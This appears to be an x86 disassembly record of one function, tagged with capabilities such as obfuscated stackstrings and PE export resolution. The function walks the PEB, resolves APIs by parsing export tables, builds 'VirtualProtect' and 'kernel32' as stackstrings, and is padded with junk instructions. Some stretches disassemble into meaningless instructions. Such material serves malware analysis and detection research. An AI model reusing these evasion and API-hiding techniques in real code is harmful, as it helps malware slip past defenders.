Function at 0x4285bb
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmp dword [ebp - 0x14f0], 0
jne 0x427b0f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x427da6
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x427b34
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x427da6
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x427b8e
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x427d9a
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
nop
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x427bfe
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x427cb0
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x427cb0
push edx
push eax
add esp, 4
call 0x427c3f
add byte [eax + 0x50], cl
aaa
cmp edi, dword [eax*2 - 0x7cb5b6b4]
les eax, [ecx + eax*4]
ljmp 0x4eb
push edi
jmp 0x427cb8
pop edi
push ecx
add ecx, 0x16463
or ecx, 0x5bc3
jmp 0x427ccd
pop ecx
push edx
xor edx, 0x18465
pop edx
push ebx
push eax
add esp, 4
jmp 0x427ce1
pop ebx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x427d0f
mov dword [ebp - 0xc30], 0
jmp 0x427d7e
push esi
or esi, 0xa699
add esi, 0x1480c
pop esi
push edx
push ebx
add esp, 4
and edx, 0x8ff1
pop edx
push eax
and eax, 0x1380b
pop eax
push ecx
and ecx, 0xdd5e
pop ecx
push edi
and edi, 0xa081
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x427d74
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x427d7e
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x427d95
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x427da6
jmp 0x427b7f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x427e81
push edx
push edx
add esp, 4
add edx, 0xd0c5
jmp 0x427dc4
xor edx, 0x5863
pop edx
push eax
push ecx
add esp, 4
sub eax, 0x38d9
pop eax
push ebx
add ebx, 0x3f8c
xor ebx, 0x25fa
pop ebx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
xor edx, 0xbcb8
sub edx, 0x171a4
or edx, 0x7966
and edx, 0x15400
pop edx
push esi
push eax
add esp, 4
add esi, 0x16c64
xor esi, 0x777f
sub esi, 0xffe2
pop esi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x427e81
push edi
xor edi, 0xd44d
add edi, 0x99fb
add edi, 0x8c6c
pop edi
push eax
push edx
add esp, 4
sub eax, 0x1210c
add eax, 0x3b08
sub eax, 0x51d4
and eax, 0x11076
pop eax
mov dword [ebp - 0x738], 0
jmp 0x42856b
push eax
and eax, 0x16c2f
or eax, 0xb1db
pop eax
push eax
add eax, 0x152c8
add eax, 0x1507a
add dword [eax], eax
pop eax
push eax
xor eax, 0x7aaa
xor eax, 0x170b
pop eax
push edx
add edx, 0xa554
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
jmp 0x427ee2
and edi, 0xa666
jmp 0x427eed
pop edi
push ecx
push esi
push eax
call 0x428579
add byte [ebx], dh
xor bh, byte [esi]
inc esi
dec esi
inc ecx
inc edx
add esp, 4
pop eax
push edi
xor edi, 0xe31c
xor edi, 0x2224
call 0x428599
add byte [edx], dh
dec eax
dec ecx
dec edi
dec ebx
dec esp
xor al, 0x38
xor eax, 0x5f04c483
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
call 0x4285bb
add byte [0x503d344a], bh
dec esi
dec ebp
xor eax, 0x8104c483
out 0x66, eax
fadd dword [eax]
add byte [edi + 0x57], bl
push ebx
add esp, 4
or edi, 0xba17
jmp 0x4285d7
and edi, 0x9383
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x4285f0
cmp dword [ebp - 0xa5c], 0
jne 0x428636
push edx
push ebx
add esp, 4
sub edx, 0x10a60
xor edx, 0x216b
sub edx, 0x1635d
and edx, 0x48
pop edx
push esi
sub esi, 0x6e80
and esi, 0x13bc8
add esi, 0x56b0
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ebx
push edx
add esp, 4
and ebx, 0xc1ba
and ebx, 0x1183b
jmp 0x428659
pop ebx
push edi
push esi
add esp, 4
sub edi, 0x25df
pop edi
push edx
push ecx
add esp, 4
and edx, 0x109bc
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ecx
sub ecx, 0x841e
or ecx, 0x12d46
or ecx, 0x13e8e
jmp 0x4286b8
pop ecx
push ecx
add ecx, 0x114a7
pop ecx
push esi
push esi
add esp, 4
jmp 0x4286ce
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
push esi
add esp, 4
xor edx, 0x8201
jmp 0x428748
jmp 0x428751
pop edx
push ebx
push ebx
add esp, 4
xor ebx, 0x21c8
and ebx, 0x4f9d
add ebx, 0x29cf
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
push edx
add esp, 4
sub edx, 0x15f08
pop edx
push ebx
or ebx, 0x13949
pop ebx
push ecx
push edx
add esp, 4
and ecx, 0x699f
add ecx, 0x17b3f
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x8b52
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x4287db
mov dword [ebp - 0x2a8], 0
jmp 0x428a82
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
sub eax, 0x43f2
pop eax
push eax
push eax
add esp, 4
call 0x428808
add byte [ebx + 0x3a], al
cmp al, 0x42
dec ecx
dec eax
inc eax
xor al, 0x83
les eax, [ecx + eax*4]
loopne 0x428862
dec ebx
add byte [eax], al
add eax, 0x116fe
jmp 0x42881e
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x428837
mov dword [ebp - 0x2a8], 0
jmp 0x428a82
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
push ecx
add esp, 4
sub eax, 0xb276
and eax, 0xdc92
pop eax
push edx
push ebx
add esp, 4
add edx, 0x12fc2
pop edx
push esi
push ecx
add esp, 4
add esi, 0xb2af
pop esi
push eax
add eax, 0x7b5d
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push ebx
add esp, 4
call 0x4288b3
add byte [edx], bh
xor dh, byte [ebx + eax*2]
inc esi
inc ebp
inc edx
cmp al, byte [ebx + 0x515e04c4]
push edi
add esp, 4
and ecx, 0x60ed
jmp 0x4288ca
and ecx, 0x13e8b
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edi
push esi
add esp, 4
jmp 0x428933
or edi, 0x1340e
add edi, 0x48b6
pop edi
push edx
push eax
add esp, 4
add edx, 0xd3ea
jmp 0x428953
sub edx, 0x1162e
pop edx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x428977
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x4289d1
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x42889f
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x42889f
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x4289bb
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x4289c5
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x428a1a
push ecx
add ecx, 0x1d86
or ecx, 0x100a3
sub ecx, 0x2cb5
and ecx, 0xc291
pop ecx
push edi
and edi, 0x9293
call 0x428a08
add byte [esi + 0x3c], al
dec eax
inc ecx
dec edi
xor al, 0x83
les eax, [edi + ebx*2]
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x428a82
push esi
add esi, 0x429e
pop esi
push ecx
push ebx
add esp, 4
call 0x428a36
add byte [0x4d32363c], dh
xor esi, dword [edi]
dec esp
add esp, 4
pop ecx
push edi
push ecx
add esp, 4
or edi, 0xe97c
xor edi, 0x15e8
pop edi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x428a78
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x428843
mov dword [ebp - 0x2a8], 0
push esi
sub esi, 0x1316e
call 0x428a99
add byte [eax + 0x47], dl
aaa
dec esi
dec eax
aaa
cmp byte [esi], dh
aaa
add esp, 4
pop esi
push eax
and eax, 0x15d08
jmp 0x428aad
sub eax, 0x3d1b
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x4293b9
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
invalid
invalid
xchg ebp, eax